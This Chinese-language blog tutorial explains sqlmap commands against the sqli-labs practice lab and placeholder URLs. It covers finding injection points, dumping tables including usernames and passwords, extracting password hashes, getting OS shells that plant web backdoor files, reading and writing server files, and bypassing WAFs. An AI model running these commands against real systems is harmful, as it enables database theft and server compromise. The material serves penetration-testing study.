SQLmap使用详解
一、SQLmap常规使用步骤
1、查询注入点
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
2、查询所有数据库
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
3、查询当前数据库
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-dbs
4、查表
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables
5、查列
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns
6、查数据
python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump
二、命令详解
1、输出级别
-v 指定回显信息的复杂度,共7个级别,0-6,默认1
• 0:只显示python错误以及严重的信息。
• 1:同时显示基本信息和警告信息。(默认)
• 2:同时显示debug信息。
• 3:同时显示注入的payload。
• 4:同时显示HTTP请求。
• 5:同时显示HTTP响应头。
• 6:同时显示HTTP响应页面。
一般使用等级3,可以看到SQLmap发送的测试payload;
eg:python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
2、目标
2.1、指定URL
-u 参数,指定需要检测的url,单/双引号包裹,中间如果有提示,输入y
提示:SQLmap不能直接扫描网站漏洞,先找到注入点,再使用SQLmap验证并利用注入点
2.2、指定文件
-m 指定文件,可以批量扫描文件中的url
2.3、指定数据库/表/字段
-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。
-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。
2.4、POST请求
检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中
-r 指定需要检测的文件,SQLmap会通过POST请求方式检测目标
2.5、cookie注入
--cookie 指定cookie的值,单/双引号包裹
3、脱库
-a 就是all的意思,获取所有能获取的内容,会消耗很长时间
3.1、获取数据库
--dbs 获取数据库
--current-db 获取当前数据库
3.2、获取表
--tables 获取表
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --tables
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security,dvwa' --tables
//同时获取多个库的表名,逗号隔开
3.3、获取字段
--columns 获取字段
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' --columns
只指定库名不指定表名会报错,指定库名不指定表名,默认获取当前数据库中所有表的字段
3.4、获取字段类型
--schema 获取字段类型,
可以指定库或指定表。不指定则获取数据库中所有字段的类型。
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C --schema
3.5、获取值
--dump 表中的数据,可以指定具体的库,表,字段,只指定库名可获取库中所有表的数据
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --dump
默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --start1 --stop 5 --dump
3.6、获取用户
--current-user 获取当前登录数据库的用户名
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --current-user
--user 获取数据库的所有用户名
Sqlmap -u 'http://xxx.com/user.php?id=1' --user
--passwords 获取所有数据库用户的密码(哈希值)
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --password
--privileges 查看每个数据库用户都有哪些权限
--is-dbs 判断当前用户是不是管理员,如果是管理员,会显示true
3.7、获取主机名
--hostname 获取服务器主机名
3.8、搜索库、表、字段
--search 搜索数据库中是否存在指定库,表,字段;需要指定库名,表名,字段名
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --search
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -T 'users' --search
Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -C 'user' --search
3.9、正在执行的SQL语句
--statements 获取数据库中正在执行的SQL语句
4、其他
--batch (默认确认)不再询问是否确认。
--method=GET 指定请求方式(GET/POST)
--random-agent 随机切换UA(User-Agent)
--user-agent ' ' 使用自定义的UA(User-Agent)
--referer ' ' 使用自定义的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 设置线程数,最高10
--level=1 执行测试的等级(1-5,默认为1,常用3)
指需要执行的测试等级,一共有5个等级(1~5),不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie 在 level 为2时就会测试,HTTP User-Agent/Referer 头在 level 为3时就会测试。总之,在不确定哪个 payload 或参数为注入点时,为了保证全面性,建议使用高的 level 值
--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
--sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句,如下所示,假设执行select * from users limit 0,1语句,如下所示:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell
--os-cmd,--os-shell:运行任意操作系统命令
在当前用户有权限使用特定的函数的前提下,如果数据库为MySQL、PostgreSQL,Sqlmap会上传一个二进制库,包含用户自定义的函数sys_exec () 和sys_eval (),那么创建的这两个函数就可以执行系统命令。
如果数据库是微软 SQL Server时,Sqlmap通过存储过程 xp_cmdshell 来执行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本默认被禁用),则Sqlmap会重新启用它;如果不存在,会自动创建。
用--os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE写进可写目录,创建一个Web后门。
Sqlmap支持ASP、ASP.NET、JSP和PHP四种语言(要想执行该参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。
1.执行系统命令:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。
2.执行shell:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。
执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)
--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-read "C:/11.txt"
执行完会把文件保存到本地目录下
--file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
执行结束即可把本地的1.txt 文件上传到目标服务器下
5、WAF绕过
--tamper 指定绕过脚本,
Sqlmap -u 'http://xxx.com/user.php?id=1' --tamper 'space2comment.py'
SQLmap内置脚本位置:/usr/share/sqlmap/tamper
标签:SQLmap,Sqlmap,http,--,xxx,详解,user,常用命令,id From: https://www.cnblogs.com/BIGBadman/p/18230547